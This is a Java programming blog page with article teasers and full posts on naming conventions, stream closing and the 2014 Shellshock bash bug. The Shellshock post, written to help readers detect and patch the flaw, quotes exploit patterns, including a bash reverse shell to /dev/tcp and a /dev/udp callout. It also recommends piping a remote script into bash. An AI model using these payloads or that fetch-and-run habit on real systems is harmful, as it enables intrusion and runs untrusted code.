Monday, March 30, 2015

Quicksort Sorting Algorithm in Java

Quicksort Sorting Algorithm in Java

Quicksort algorithm is one of the most used sorting algorithm, especially to sort large list and most of the programming languages, library have implemented it in one or another way. In Java, Arrays.sort() method sorts primitive data types using double pivot Quicksort algorithm, authored by Joshua Bloach and others. This implementation provides better performance for lot of data sets, where traditional quicksort algorithm reduced into quadratic performance. This method also uses MergeSort, another good sorting algorithm, to sort objects. QuickSort implementations are also available in C++ STL library. Have you ever thought why quicksort is so popular? because on average it is one of the fastest sorting algorithm we have. On average quicksort is a O(n log n) algorithm, while it's worst case is O(n^2), which is much better comparing with Bubble Sort or Insertion Sort. It's also one of the popular algorithm interview question, so as a programmer you must know how QuickSort works as well as how to implement Quicksort in Java or any other programming language. One of the most important thing interviewer look in your quicksort implementation is choice of pivot and whether you are sorting in place or not. In "in-place" sorting, actual sorting takes place in same array and no additional space is needed. Due to this reason, quicksort is very efficient in sorting large list of numbers, as no additional memory is required, a very space efficient sorting algorithm. Quicksort is also one of the naturally recursive algorithm and serves a good exercise for Java programmers to master art of recursion.

Why you should control Visibility of Class and Interface in Java

Why you should control Visibility of Class and Interface in Java

One of the important aspect of software development is maintenance, and  it's proven by experience that a software which keeps visibility of its component low is more maintainable than the one who exposes its component more. You won't realize it upfront, but you will miss it badly, while redesigning your application. Since maintaining backward compatibility is must have requirement for many app, you end up patching and repeating same mistakes. You can not do much because lots of other applications are tightly integrated with your class and interfaces. Java has always put encapsulation on priority, provided support of access modifiers from very beginning. It provides three ways to control visibility of any Type e.g. class or interface, by making them public, package-private or private. What happened to protected, can't we use protected with class or interface. No you can't, you can only use two access modifier with types, protected is not a legal modifier for class and interface. Also a top level class (a class whose name is same as of Java source file which contains it)  can be either public or package private (without any access modifier), it can not be private. Only a nested class can be private, public or package-private.  A public class is accessible to everyone, and it is most visible, try to keep only key interfaces public, never let your implementation go public until you think it's complete and mature. On the other hand private Type is least visible, and only nested class or interface can be private in Java. Since it's least visible, you have full control of this class to alter its behaviour with experiences, new technologies, tools and redesign. A clever midway is package-private visibility, which is also default visibility, there is no such keyword as package-private, instead if you don't provide any access modifier than Java assumes that it package-private, and subsequently make it visible only on same package. If your classes and interfaces are shared only between other class in same package, make them package-private. Since client cannot access them, they are also relative safe to change.

Jar Artifiact Dependency Search Not Working in Eclipse - Solved

Jar Artifiact Dependency Search Not Working in Eclipse - Solved

Recently I face an strange issue while using Maven in Eclipse via M2Eclipse plugin. I have created a Maven Java project in Eclipse and subsequently tried to add Spring framework as dependency, to my surprise, nothing was happening. Eclipse was not able to search dependency in Maven central repository. I was surprised because I have never faced this issue while I was using M2Eclipse plugin from long time. After some trial and error, I realized that this is my brand new workspace and I am running with Eclipse Luna, newest version of Eclipse which I had just downloaded couple days of back. My first hunch was that Eclipse might not able to connect to Internet, and to verify that I tried connecting Eclipse market place, and boom it was working fine. Then I quickly checked Maven settings in Eclipse and found that the option which is required to download and build the index was not turned on. The check box was unchecked there. To give you some background about how Eclipse search dependency on Maven remote repository, be it default Maven central or internal Nexus repository. Eclipse search artifact dependency on repository's index file. If that file is not download or not exist due to any reason, Maven's dependency search will not work in Eclipse. That's why you need to check the option "Download repository Index updates on startup". If this option is enabled then Eclipse will download repository index from configured location e.g. Maven central or Nexus and every time Eclipse will start it will just do update. You should also check the option "Do not automatically update dependencies from remote repositories", because that will download latest build every time they were pushed into Maven central repository. By the way, this error has nothing to do with Eclipse Luna. I received emails from my readers that some of them not able to add dependency in Maven project even in older versions of Eclipse e.g. Kepler and Indigo version. It is totally due to absent of artifact index file. One you enable "Download repository Index updates on startup" option and restart Eclipse, you will see that Eclipse is updating index at the bottom right corner, once this update this finish, you would be able to add dependency using Eclipse Maven GUI. In worst case, if your problem doesn't resolve even after enabling and restarting Eclipse, try re-building Index from Maven repository view in Eclipse,

3 Examples of Parsing HTML File in Java using Jsoup

3 Examples of Parsing HTML File in Java using Jsoup

HTML is core of web, all the page you see in internet are HTML, whether they are dynamically generated by JavaScript, JSP, PHP, ASP or any other web technology. Your browser actually parse HTML and render it for you. But what would you do,  if you need to parse an HTML document and find some elements,  tags, attributes or check if a particular element exists or not from Java program. If you have been in Java programming for some years, I am sure you have done some XML parsing work using parsers like DOM and SAX, but there is also good chance that you have not done any HTML parsing work. Ironically, there are few instances when you need to parse HTML document from core Java application, which doesn't include Servlet and other Java web technologies. To make the matter worse, there is no HTTP or HTML library in core JDK as well; or at least I am not aware of that. That's why when it comes to parse a HTML file, many Java programmers had to look at Google to find out how to get value of an HTML tag in Java. When I needed that I was sure that there would be an open source library which will does it for me, but didn't know that it was as wonderful and feature rich as JSoup. It not only provides support to read and parse HTML document but also allows you to extract any element form HTML file, their attribute, their CSS class in JQuery style and also allows you to modify them. You can probably do anything with HTML document using Jsoup. In this article, we will parse and HTML file and find out value of title and heading tags. We will also see example of downloading and parsing HTML from file as well as any URL or internet by parsing Google's home page in Java.

6 Books to Learn and Master Programming and Coding - Must Read

6 Books to Learn and Master Programming and Coding - Must Read

Coding is an integral part of programming and we all somehow learn coding by following examples here and there. What is more difficult is to write good code. You can easily find programmers in Java, C++, Ruby or Python, but finding programmers, who are also good coder is very difficult. Some universities has good curriculum and practical classes to teach coding better than others, but most of these great codes are self-taught. Point is self learning is VERY important in field of Programming and Coding, you just cannot rely on your college and university to make you an expert programmer, you have to make that extra effort to distinguish yourself from the group. What could be best by learning coding and wisdom of programming form those who have gone through the same path. Uncle Bob is big advocate of clean coding and object oriented design, and as much I have learn about coding and programming from his series of books, I have not learned anywhere. Martin Fowler is another great name in software design, development and testing, and his book on Refactoring is must read for any serious programmer. Recently I come across an infographic about 10 Books That Make You Expert in Programming. Though I don't agree with all the books they have there, I definitely agree with the top 6 and the last book, which is an all time classic on design patterns. I thought to share that with you guys, If you are more inclined to web programming you will also find rest of the books more valuable, but If you are server side Java programmer, you will definitely find top 5 worth reading.

5 Articles to Learn about Shellshock Bash Bug

5 Articles to Learn about Shellshock Bash Bug

The year of 2014 is looking like a year of biggest software bug and vulnerabilities. Earlier this year, internet was bleeding by Heartbleed vulnerability and now it's shocked by ShellShock bug. To me it looks like even bigger than Heartbleed, just because it's a bug in Bash Shell, our own bash shell, most popular among all UNIX shells like C and K. Given most of the servers in Investment banks, Insurance companies, Clouds and e-commerce domain are Linux Servers with bash being most used shell, impact is quite large. I am sure people with Microsoft stack is smiling somewhere :), but wait, read the full article. First details of Shellshock bug emerged Wednesday last week, since then it has gone viral, both online and offline. People are busy talking about it and engineers are busy patching Servers, computers, routers, firewalls and other computing resources using vulnerable versions of bash. It has triggered patching almost everywhere. I am sure many of my readers are still puzzling with what is this ShellShock bug? For those, It's an example of an arbitrary code execution (ACE) vulnerability, which means attacker can execute their code on your vulnerable server. What this mean to you? Well if they can execute their own command they can do anything to your server and business. To start-with they can stop your servers, delete files, stole passwords and can take complete control for the machine, operating them remotely. Typically, arbitrary code execution vulnerability attacks are very sophisticated and require expert understanding of the internals of code execution, memory layout, and assembly language, which makes them very hard. Thanks to Bash ShellShock bug, now even a naive programmer can launch such kind of powerful attack to take control of vulnerable server. To give you an example, due to ShellShock vulnerability, anyone can take control of your web server by simply sending an HTTP request. This is massive, but fortunately impact is only limited to servers, where server side program pass user supplied information to Bash Shell, if your Java server doesn't do that, you are probably safe from that path of attack.

10 Programming Best Practices to Name Variables, Methods, Classes and Packages

10 Programming Best Practices to Name Variables, Methods, Classes and Packages

What's in name? "A rose by any other name would smell as sweet" is a famous quote from William Shakespeare's classic Romeo and Juliet, but sorry to say, name matter a lot in programming and coding.  It's also said that code is the best document for any software, because any other document or comments can become outdated quickly, but code will always tell you truth; If code is then best document than names are most critical element of it. Every effort, small or big, invested while naming variables or methods, pays in both short term and long term. In fact, if you ask me just one coding practice to follow, It would definitely recommend giving meaningful names to your variables and methods. One reason, I push for this coding practice is because it improves readability of any algorithm or program drastically. Since every programmer spends more time reading code than writing, It would make a lot of sense to give meaningful names to your programming element. Readability is also one of the most important aspect of clean code. If you happen to read Clean code, the book by Uncle Bob, you would have seen a whole chapter on meaningful names, this just shows how important it is to name your variable, methods, classes and packages properly. Though these programming best practices are given from a Java programmer's perspective, they are equally useful in any other programming language. In fact, most of them are independent of any programming language and can be used while writing bash script, SQL stored procedures, C++ code and any other computer program. In fact you will value these practices more in case of shell script and database stored procedure because they don't have tools as smart as Java IDEs.

Right way to Close InputStream and OutputStream in Java

Right way to Close InputStream and OutputStream in Java

For some unknown reasons many Java programmers are not very comfortable with IO package. I don't know why, but I have found them much more comfortable with java.lang and java.util than java.io. One possible reason of this could be that, writing IO code require a bit of C++ like programming, which involves doing clean-up, releasing resources once done etc. Since Java made coding a lot easier by taking care of memory management, unknowingly it also introduced bad practice of not releasing resource after use e.g. database connections, socket connection, files, directory, printers, scanners or any other scarce resource. The laziness of just doing work and forget everything is very easy, because of this many Java programmer never bother about doing clean-up. This habit is most visible in programmers who have never done system programming using C or C++. Since IO requires you to deal with streams, channels, and file descriptors, which need to be closed properly, Java developer find it uneasy to deal with. On other day, I asked one candidate to write code for copying content of one file to another without using copy() method or a third-party library. Though he managed to write the code, he made a common mistake, he was not closing streams properly. It's important to close streams, to release file descriptor held by this class, as its limited resource and used in both socket connection and file handling. A serious resource leak may result in file descriptor exception as well. Before moving ahead, let's see the part of  the code candidate wrote for copying file from one directory to another directory in Java without using any third-party library.

How to Use Locks in Multi-threaded Java Program

How to Use Locks in Multi-threaded Java Program

Many Java programmers confused themselves like hell while writing multi-threaded Java programs e.g. where to synchronized? Which Lock to use? What Lock to use etc. I often receive request to explain about how to use Locks in Java, so I thought to write a simple Java program, which is multi-threaded and uses rather new Lock interface. Remember Lock is your tool to guard shared resource which can be anything e.g. database, File system, a Prime number Generator or a Message processor. Before using Locks in Java program, it’s also better to learn some basics. Lock is an interface from java.util.concurrent package. It was introduced in JDK 1.5 release as an alternative of synchronized keyword. If you have never written any multi-threading program, then I suggest first start with synchronized keyword because it’s easier to use them. Once you are familiar with working of multi-threading program e.g. How threads share data, how inter thread communication works, you can start with Lock facility. As I told you Lock is an interface, so we cannot use it directly, instead we need to use its implementation class. Thankfully Java comes with two implementation of java.util.concurrent.locks.Lock interface, ReentrantLock and ReentrantReadWriteLock, later provides two more inner implementation known as ReentrantReadWriteLock.ReadLock and ReentrantReadWriteLock.WriteLock. For our simple multi-threaded Java program's purpose ReentrantLock is enough.

10 Interview Questions Every Programmer Should Know

10 Interview Questions Every Programmer Should Know

Conducting Interview is not cheap and costs both time and money to a company. It take a lot of time to find the right candidate for a job from 100s resume you receive from consultants and agents. They will always tell you that this guy is a Java Guru, this one is SQL Expert and next one is the full stack developer you are looking for. If you have trust them blindly and invite all of them for face-to-face interview, you are going to be disappointed. One of the first thing you should do is to filter candidates who claims to have certain skills e.g. SQL but doesn't have them, the faster you can weed out those candidates the cheaper will be the hiring process. A phone screening interview is just for that purpose, it doesn't cost you much and also suitable for candidate, as they don't have to take off and come down to your office. It's flexible for both the parties. When I phone interview someone, I spent fist few minutes to listen them and then I go for my list of weed out programming question to see if candidate is good enough to spend another 30 to 40 minutes. They have saved a lot of time, where I found out that candidate having words like "Strong knowledge of Java", "Exceptional in SQL" and "Programming gurus" fail to answer these simple questions. If you are a candidate and gone through couple of interviews, you might have noticed that almost all interviewers make up their minds in the first 10 minutes. The rest of the interview gives them reasons supporting said decision, but not all is lost. If you ever feel that you have messed up with your chance, try coming of some really good answers on rest of questions, if you can impress interviewer to an extent that encourage you to go deep, you may be able to change his initial decision. To get some feedback and improve upon my method, I have decided to share my list of weed out programming questions (don't bother about sharing questions, I have many similar questions on my secret question bank and you can create them easily as well). I have chosen one or two question from common programming skill set e.g. Java, SQL, XML, Programming, Coding, OOPS, Multi-threading and UNIX. I am looking forward to know what you guys do, what do you ask to check same skill set before calling candidates for face to face interviews. Comment if you agree or disagree.

How to Create Complex directory Tree Using mkdir -p Command in UNIX

How to Create Complex directory Tree Using mkdir -p Command in UNIX

One of the most common task in any Linux is creating directories, and most of us spend a lot of time creating complex directory structure in UNIX.  I am sure you know about mkdir command, we have been using this command in almost every operating system e..g DOS, Windows, Linux, OS/2, Solaris or many other *NIX operating system. It is one of the basic command but as important as find, grep or chmod.  mkdir stands for "make directory" and this command is literally used to create directories. Suppose, you need to create a directory tree like /opt/software/java/app/config, how are you going to create these directories? One by one right? Well, yes you can use mkdir and command to create these directories one by one as shown in below

Common Multi-threading Mistakes in Java - Calling run() instead of start()

Common Multi-threading Mistakes in Java - Calling run() instead of start()

Writing multi-threaded and concurrent programs is not easy, not even in Java.  Even senior developers, including myself, make mistakes while writing concurrent Java applications. This is also one of the trickiest area of Java programming language, where misconceptions outnumbers concepts. Considering amount of misconception an average Java programmers has about multi-threading and concurrency, I thought to start a new series about common multi-threading mistakes done by Java programmers; what is better way to learn from common real word mistakes. Learning from mistakes has another name Experience, but if you only learn from your mistakes then there is only limited things you can learn, but if you learn from other peoples mistake, you can learn much more in short span of time. Have you ever thought, Why writing multi-threaded code is difficult? IMHO, primarily reason for this is that it multi-threading makes it hard for a code to speak for itself. Programmer read code sequentially to understand how it's executed, but it is only correct if one and only one thread is executing it. That's why Single threaded code are easy to read and debug. As soon as two threads comes into picture, It become very difficult to make prediction about how your code behave, especially in the absent of any synchronization rules e.g. rules enforced by Java Memory Model. Without JMM you can not make correct prediction about your code in a multi-threaded environment, because it's possible for one thread to stop at arbitrary point and another thread at different point. Situation becomes even more tricky if those threads are sharing data between them e.g. in form of objects, a poorly written multi-threaded program can cause deadlock, race condition and responsiveness issues, which will prevent a Java application to fulfil it's promise. I hope, in this series we can learn from each other's mistake and take a step forward on writing correct multi-threaded application in Java.

Java 8 Certification - Oracle Java SE 8 Programmer 1 (1Z1-808) - Latest OCAJP Exam

Java 8 Certification - Oracle Java SE 8 Programmer 1 (1Z1-808) - Latest OCAJP Exam

Today one of my reader asked about what is the latest OCPJP or SCJP exams available,  which prompted me to browse through Oracle's certification website. During my casual browsing, I noticed this new Java 8 certification. I said great, within six month of Java 8 release we now have Java SE 8 certification available, programmer still digesting changes form Java 8 now have chance to be certified on latest Java 8 . The certification is called "Oracle Certified Associate, Java SE 8 Programmer - 1Z1-808" and has written for the Java SE 8 release. Format of exam is similar to previous certification e.g. Java SE 7 Associate and Professional exams (1Z1-803 and 1Z1-804). The exam is in beta and as per their website, exam score reports will be available in CertView approximately 11 weeks after the close of the beta Exam. You will receive an email with instructions on how to access your beta exam results. Number of question is very high (150-225), comparing to old SCJP days, and you will get 2.5-3.5 hours to answer all questions. Given this exam is available, I am sure programmers will start getting confused that whether should they go for Java SE 7 or go for this beta exam, or wait for some time to get certified in Java SE 8. My suggestion to all of them is that it depends, if you are fresh graduate from college and looking for job, do Java SE 7 as soon as possible, it will help you to lend a Job faster. If you already got a job and settling there, you can wait for sometime until Java SE 8 exam come out of Beta or try this one because it doesn't cost you much. If you are still not sure, then read this article about why you should do Java certification. If I read correctly, it will cost you around 60 USD. Considering cost of Oracle Certified Associate, Java SE 7 Programmer, which is around 350$, this is much more cheaper, but remember it's still in beta.

ORA-00904: invalid identifier Error in Oracle 11g database - Solved

ORA-00904: invalid identifier Error in Oracle 11g database - Solved

If you have worked in Oracle database ever, you would definitely have seen ORA-00904: invalid identifier error. Doesn't matter which version you are working 10g, 11g or 12g, this is one of the most common error comes while doing CRUD (Create, Read, Update, and Delete) operations in Oracle. By the way, if you are beginner, SELECT, INSERT, UPDATE and DELETE are used to perform CRUD operation in Oracle database. What do you do if you get this error while running in SQL script? Like any error, you should first pay attention to error message, what is Oracle trying to say here. Invalid identifier means the column name entered is either missing or invalid, this is one of the most common cause of this error but not the only one. Some time it come if you use names, which happened to be reserved word in Oracle database. Now how do you resolve it?  We will learn in this article, by following series of examples which first reproduce this error and later suggest how to fix it.

5 Articles to Learn about Shellshock Bash Bug

5 Articles to Learn about Shellshock Bash Bug

The year of 2014 is looking like a year of biggest software bug and vulnerabilities. Earlier this year, internet was bleeding by Heartbleed vulnerability and now it's shocked by ShellShock bug. To me it looks like even bigger than Heartbleed, just because it's a bug in Bash Shell, our own bash shell, most popular among all UNIX shells like C and K. Given most of the servers in Investment banks, Insurance companies, Clouds and e-commerce domain are Linux Servers with bash being most used shell, impact is quite large. I am sure people with Microsoft stack is smiling somewhere :), but wait, read the full article. First details of Shellshock bug emerged Wednesday last week, since then it has gone viral, both online and offline. People are busy talking about it and engineers are busy patching Servers, computers, routers, firewalls and other computing resources using vulnerable versions of bash. It has triggered patching almost everywhere. I am sure many of my readers are still puzzling with what is this ShellShock bug? For those, It's an example of an arbitrary code execution (ACE) vulnerability, which means attacker can execute their code on your vulnerable server. What this mean to you? Well if they can execute their own command they can do anything to your server and business. To start-with they can stop your servers, delete files, stole passwords and can take complete control for the machine, operating them remotely. Typically, arbitrary code execution vulnerability attacks are very sophisticated and require expert understanding of the internals of code execution, memory layout, and assembly language, which makes them very hard. Thanks to Bash ShellShock bug, now even a naive programmer can launch such kind of powerful attack to take control of vulnerable server. To give you an example, due to ShellShock vulnerability, anyone can take control of your web server by simply sending an HTTP request. This is massive, but fortunately impact is only limited to servers, where server side program pass user supplied information to Bash Shell, if your Java server doesn't do that, you are probably safe from that path of attack.

By the way, If you were on vacation last week somewhere country side without any internet access, and knows nothing about ShellShock bug in Bash Shell, here is a list of 5 articles which will tell you everything about shell shock Bash bug, starting from what it is to how hackers are exploiting this vulnerabilities and celebrating early Christmas. There are even sites/tools to check if your server is vulnerable to ShellShock or not. You can use this website to test if your system is vulnerable, and also learn how to patch the vulnerability so you are no longer at risk for attack


Articles to Understand Bash ShellShock Bug

Inside Shellshock: How hackers are using it to exploit systems (https://blog.cloudflare.com/inside-shellshock/)
This is one of the best article I have read on ShellShock, and I suggest anyone to read this article first before reading others. Cloudflare has done very good job to explains ShellShock bug in simple word. By reading this you will know, how a magic string () { :; }; can give control of your server to an hacker sitting miles away. Cloudflare has not only quick on patching their servers and protecting their customer interest but also on educating people about this massive vulnerability. It goes will their business as well because they claim to block threats and limit abusive bots and crawlers from wasting their customer's bandwidth and server resources. There is one more reason, Why I connect with this article, It uses example to show how a hacker can use an innocuous looking HTTP request to exploit ShellShock vulnerability of bash shell. CloudFlare has also put in place WAF rules to block the shellshock exploit, and here are some of the common patterns this bug which emerges from their log files:
 
() { :;}; /bin/ping -c 1 198.x.x.x;
() { :;}; echo shellshock-scan > /dev/udp/example.com/1234
() { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1

You can take a sigh of relief if you are CloudFlare customers, but you can also use these patterns to see if something like that is happening in your web server. Thanks to John Graham-Cumming for his excellent work. So What are you waiting for, go read this article before it's too late.


Everything you need to know about the ShellShock Bash bug (http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html)
Troy Hunt is a Microsoft Most Valuable Professional (MVP) for Developer Security, and earlier this year shared similar information on infamous Heartbleed bug. Tony has done excellent job to put together something definitive for people to dissect the hype from the true underlying risk. Starting from what is bash shell, and why you need it, Tony has shared what is the actual bug and what are the potential ramifications? It's not just all thrills but some fact also like which versions of Bash shells are affected, and when did the world first learn about shellshock bug and how long has it been at risk? He has also analysed how Microsoft stack can also be vulnerable to shellshock bug, given bash is mostly a UNIX shell and people will laugh about it. The best part of article is, what you can do about it. He has explained what's the next step from both, system admin and consumer's perspective. In short, this article is true to the title, everything you need to know about the shellshock bash bug


Shellshock DHCP Remote Code Execution – Proof of Concept (https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/)
It's one of the earlier article on ShellShock bug this week,written by Geoff Walton – Senior Security Consultant at TrustedSec. It gives you step by step guide of how Shell Shock can be exploited using any DHCP string value. I think one of the things this PoCs did really well was show the result for the end user. Most people aren't going to know what any of this stuff means, until they read a more straight forward explanation in layman's terms as to what this means for the average Internet user, and that's the first article in this list is my pick as the best post to understand shellshock bug.


Bash 'shellshock' bug is wormable (http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html)  
Robert Graham ran some early scans to gauge impact of this bug. Early results from his scan shows how many systems are vulnerable just on port 80, just on the root "/" URL, without Host field. He brings an excellent point about how CGI scripts can also be vulnerable if it calls out to bash no matter how indirectly. He also mention how embedded web serves on odd ports that are the real danger, and not just web, but other services like DHCP service are vulnerable to this bug.
Impact of Bash ShellShock Bug on Internet



Bash 'shellshock' scan of the Internet (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
This is the original scan Robert Graham did, the one we are talking about in earlier article. Now malwares are using his user agent, pretending as known scan. Robert ran his scan by stuffing a bunch of "ping home" commands in various CGI variables, just to see how widespread this bash bug vulnerability is, but enough to cause minor panic among many web masters. The scan found only a few thousand systems (because it's intentionally limited), it shows the the real potential of shellshock bug.
ShellShock vulnerability of Bash Shell Scanning


Shellshock BASH Vulnerability Tester (https://shellshocker.net/)
This site was developed by the health IT team at Medical Informatics Engineering. They have shared their learning about shellshock vulnerability, and what they did to protect their infrastructure. This site is good point to learn about shellshock bug and avoid getting "shellshocked". Many people has contribute simple commands to test whether your server is vulnerable to shellshock bug or not. For example, you can simply run this one liner below to find if you're vulnerable.
curl https://shellshocker.net/shellshock_test.sh | bash
If you want to test each exploit e.g. (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278) individually without running the script above, they also have step by step guide to do so. You can also find couple of posts about ShellShock exploit in real world by following links here.

In short, ShellShock is a vulnerability in GNU's bash shell that gives attackers access to run remote commands on a vulnerable system. If your system has not updated bash in since Tue Sep 30 2014: 1:32PM EST, you're most definitely vulnerable and have been since first boot. This security vulnerability affects versions 1.14 (released in 1994) to the most recent version 4.3 according to NVD. If you are hosted your web server with any of major cloud providers, chances are that they will be patched by now. If you are working in a big organization, you might have already noticed sudden surge in patching UNIX servers as well. I have not heard about any incident due to bash shellshock bug yet, which result in loss of information and hopefully servers will be patched before it's too late. 

10 Programming Best Practices to Name Variables, Methods, Classes and Packages

10 Programming Best Practices to Name Variables, Methods, Classes and Packages

What's in name? "A rose by any other name would smell as sweet" is a famous quote from William Shakespeare's classic Romeo and Juliet, but sorry to say, name matter a lot in programming and coding.  It's also said that code is the best document for any software, because any other document or comments can become outdated quickly, but code will always tell you truth; If code is then best document than names are most critical element of it. Every effort, small or big, invested while naming variables or methods, pays in both short term and long term. In fact, if you ask me just one coding practice to follow, It would definitely recommend giving meaningful names to your variables and methods. One reason, I push for this coding practice is because it improves readability of any algorithm or program drastically. Since every programmer spends more time reading code than writing, It would make a lot of sense to give meaningful names to your programming element. Readability is also one of the most important aspect of clean code. If you happen to read Clean code, the book by Uncle Bob, you would have seen a whole chapter on meaningful names, this just shows how important it is to name your variable, methods, classes and packages properly. Though these programming best practices are given from a Java programmer's perspective, they are equally useful in any other programming language. In fact, most of them are independent of any programming language and can be used while writing bash script, SQL stored procedures, C++ code and any other computer program. In fact you will value these practices more in case of shell script and database stored procedure because they don't have tools as smart as Java IDEs.


Java Best Practices of Proper Naming Convention

Programming Best For Naming Variables Methods and PackagesHere are some of the programming or coding best practices professional Java developer follow while writing code, including myself. Most of these practices are common sense and acquired via years of experience of reading and writing code. It not just include best practices but also bad practices to avoid, because what not to do are equally important as what to do. At the same time, this list is by no means complete and if you have any other good practice while naming programming elements, feel free to share. Perfection is a journey and everyday we learn something important. So what are we waiting for, let's see better way to name your variables, methods, classes and packages in a computer program.

1) Avoid Pointless Names
Pointless names e.g. variable names as abc, temp, data etc doesn't reveal intent, they simply reduce readability. They are best suited for writing test programs, short demo and not more than 50 lines of code. You should never use pointless name in your routines in a professional project. Why? because test programs are not maintained but a real project is maintained for years, only you work on test programs but many developers work in a professional project.


2) Give Meaningful Names
This is counterpart of first coding best practice. Instead of pointless names, provide meaningful names, which reveals intent of programmer. For example method name with getPayDate() is much better with gpd() or getPD() because if I read getPayDate() somewhere in my code, I would know that this method is going to return me pay date, even after several years, but same cannot be said for gpd() or getPD().  One programmer was arguing with me that he will not follow this principle with private methods because private methods are only accessible in the class and anyone can see their definition. He might have half point there but it will not help, because best practices are habits and takes long time to develop. If you don't follow them always, you are more like will not follow even when you need them. Also if your class is more that 400 lines long, going back and forth to see definition will only irritate you to re-factor that method after some time.


3) Prefer shorter name over longer one, if it reveal intent clearly.
I love to use short name for my methods but only if it's complete and reveal programmer's intention clearly, for example between getPayDate() and retreivePaymentDate(), former is better than later. Since both are able to reveal purpose, shorter ones are easy to read and write, but don't forget to follow Java bean naming convention e.g. if variable name is payDate then getter method name must be getPayDate(). By the way here I am tossed between jQuery like method than Java's bean convention. I really enjoyed using methods like text() which return text (without argument)  and overloaded version text(data) (with argument) which changes text.


4) Avoid Similar Names
Nothing is worse than similar names, for example having two variables employee and employees, has every same character except last one. This kind of differences are very hard to spot, and often leads to subtle bugs, which are even harder to find during code reviews. If you have to represent a collection or plural, prefer something like listOfEmployees, bunchOfEmployees over employees. By the way, be careful while using names which represent programming concept e.g. List is a ordered collection in Java, so some Java programmer may think that listOfEmployee is a ordered collection of Employee, which if it doesn't, will create misunderstanding.


5) Prefer descriptive name over short form
This is counterpart of our earlier Java naming best practices, where I had argued for shorter names. Disclaimer there was that, shorter name must reveal purpose of variable or method e.g. getPayDate() is fine, but getLInd() is not as good as getLiquidityIndicator(). So prefer shorter name if and only if it reveal intent completely, otherwise choose longer and descriptive name. What is your method is taking lot of character, one reason could be that your method is doing more than one thing e.g. loadAndUpdateAllInstrumentRecords(), you can split this into two methods e.g. loadInstruments() and updateInstruments().


6) Follow Java Coding Convention
If you are writing Java program, then you must follow Java Coding Convention, It's even more important if you are writing open source code. Since Java Coding Conventions are quite common among Java developers, it makes it easy for another programmer to read your code. Some of the most common Java coding convention are:
        - Start name of class as capital letter e.g. Employee, Student or Thread.
        - Start name of method from small character and follow camel case e.g. getEmployee(), getPayDate() etc.
        - Use camel case in variable names as well e.g. price, quantity, totalAmount etc.
        - Use all caps for constants in Java e.g. MAX_QUANTITY, MAX_PRICE etc.
        - follow bean naming convention, because many open source framework use reflection, which works on bean naming convention. For example display tag uses reflection and bean naming convention to show data in table e.g. if you specify name, display tag will call getName() method on table data object.


7) Use Consistent Naming, Avoid Synonyms
This is another naming best practice which can be argued, but consistency overrules any potential argument. Having synonyms for similar methods doesn't harm too much, but it's better to be consistent e.g. instead of having three different methods destroy(), kill(), or finish() at different modules, prefer one of them e.g. destroy(). This will make your API more usable, as programmer will be able to predict and search more easily. It also helps you to keep one functionality at one place and avoid accidental duplication of code, remember DRY (Don't Repeat Yourself).


8) Follow Classical Programming Convention
In first Java best practices of  naming variables, I had said that avoid using pointless names, but there are exceptions e.g. i and j as loop counter in for loop, as shown below.
for(int i=0; i<10; i++){
// your code
}
Programmers are so familiar with that, they would be surprised to see any other name for loop counters. Similarly getters and setters are named like that.


9) In Java, class name should be noun
Your class name should be noun and should tell what does this class represent e.g. Employee, Thread, String etc. Similarly method names should start with verb e.g. get, set, do, invoke etc. Interface name should describe ability or CAN DO part e.g. Runnable can run, Callable can be called etc. package name should follow standard company structure e.g. com.company.project.module. You can find examples of Java package naming convention in several open source project e.g. Apache Commons BeanUtils uses org.apache.commons.beanutils.BasicDynaBean.


10) Avoid Clutters like _, m_, o_
Some programmers tend to use specifies like m_ to denote member variables, or simply _ (underscore) to differentiate member variable with local variables. Avoid doing that because, it looks like clutter. Instead of this you better choose meaningful and unique names. By the way, if your project already uses m_ naming convention, then better stick with it, because it's not possible to rewrite or correct whole project. It's even worse to have different naming convention at different part of code. Similarly, many programmer uses Hungarian notation e.g. bExit for boolean variable, iMax for integer variables. Those are not too bad, if you are working in a legacy code, but if you writing it something from scratch don't use them.


11) Avoid using non ASCII characters and words from local language
Using any character other than ASCII character, especially non English is worst practice. Never use characters from other languages, it might not be supported on all platforms, IDE and different machines. Similarly, don't use words from local languages e.g. Hindi, French or German. English is a universal language for programming and stick with it. It's not guaranteed that next programmer, who will maintain your code, will understand local languages, so better avoid it.


12) Make good use of common verb e.g. is, has, can or do
I found naming boolean variable and methods with is, has, and can improves code readability. Methods like isAlive(), hasNext(), canExecute() adds lot of value. You can use same rule to name boolean variable, which are easy to read when put on conditional statement e.g.
if(isRaining){
bringUmbrella();
}


That's all on Java best practice of naming variables, methods, classes and packages. Most of advice are independent of programming construct and can be used, while writing bash scripts, routines, or SQL stored procedures. Though naming conventions are one of the fundamental aspect of programming, it's often overlooked. Don't satisfy with first go, always try to read your code and strive for more meaningful names, which are clear and reveal intent. Also nothing is as bad as inconsistency, don't mix upper and lower case, Hungarian convention to Java code convention etc. Let us know, what best practices you guys are following while naming variables and methods in Java.

Right way to Close InputStream and OutputStream in Java

Right way to Close InputStream and OutputStream in Java

For some unknown reasons many Java programmers are not very comfortable with IO package. I don't know why, but I have found them much more comfortable with java.lang and java.util than java.io. One possible reason of this could be that, writing IO code require a bit of C++ like programming, which involves doing clean-up, releasing resources once done etc. Since Java made coding a lot easier by taking care of memory management, unknowingly it also introduced bad practice of not releasing resource after use e.g. database connections, socket connection, files, directory, printers, scanners or any other scarce resource. The laziness of just doing work and forget everything is very easy, because of this many Java programmer never bother about doing clean-up. This habit is most visible in programmers who have never done system programming using C or C++. Since IO requires you to deal with streams, channels, and file descriptors, which need to be closed properly, Java developer find it uneasy to deal with. On other day, I asked one candidate to write code for copying content of one file to another without using copy() method or a third-party library. Though he managed to write the code, he made a common mistake, he was not closing streams properly. It's important to close streams, to release file descriptor held by this class, as its limited resource and used in both socket connection and file handling. A serious resource leak may result in file descriptor exception as well. Before moving ahead, let's see the part of  the code candidate wrote for copying file from one directory to another directory in Java without using any third-party library.

FileInputStream fis = null;
FileOutputStream fos = null;

try {

fis = new FileInputStream("../input/fxrates.txt");
fos = new FileOutputStream("../output/fxrates.txt");

// code for reading from input stream and writing to output stream

} finally {

try {
